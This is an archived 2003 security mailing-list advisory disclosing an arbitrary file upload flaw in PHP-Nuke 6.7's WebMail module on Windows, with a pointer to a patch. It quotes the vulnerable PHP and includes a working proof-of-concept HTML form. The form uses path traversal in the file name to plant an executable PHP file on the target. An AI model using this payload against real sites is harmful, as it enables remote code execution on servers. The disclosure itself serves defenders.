[VulnWatch] PHP-Nuke v 6.7 + Windows = File Upload
From: Frog Man (leseulfrog_at_hotmail.com)
Date: 10/04/03
- Previous message: Maarten Hartsuijker: "[VulnWatch] exploiting fortigate firewall through webinterface"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com Date: Sat, 04 Oct 2003 16:33:43 +0200
Informations :
같같같같같같�
Language : PHP
Version : 6.7
Website : http://www.phpnuke.org
Problem : File Upload
PHP Code/Location :
같같같같같같같같같�
modules/WebMail/mailattach.php :
-------------------------------------------------------------------------------------------------------------------
if (isset($userfile) AND $userfile != "none" AND !ereg("/", $userfile) AND
!ereg("\.\.", $userfile) AND !ereg("%", $userfile)) {
if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");
@unlink($userfile);
}
}
-------------------------------------------------------------------------------------------------------------------
Exploit :
같같같�
Anyone can choose the path, the name and the extention of a file to upload.
Here the file is saved into http://[target]/modules/AvantGo/language/bad.php
and can be included and executed with the URL
http://[target]/modules.php?name=AvantGo&file=langague/bad :
<form
action="http://[target]/modules/WebMail/mailattach.php?userfile_name=../../AvantGo/language/bad.php"
method="POST" ENCTYPE="multipart/form-data">
<input type="hidden" name="attachments" value="1">
<input type="file" name="userfile"><br>
<input type="submit" name="Send File>
</form>
It will work with Windows only because the temp name of the file is anything
like this : c:\temp\php054.TMP so $userfile doesn't contain any '\'
character.
More details/Solution :
같같같같같같같같같같
A patch and more details can be found on http://www.phpsecure.info.
frog-m@n
_________________________________________________________________
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail
- Previous message: Maarten Hartsuijker: "[VulnWatch] exploiting fortigate firewall through webinterface"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
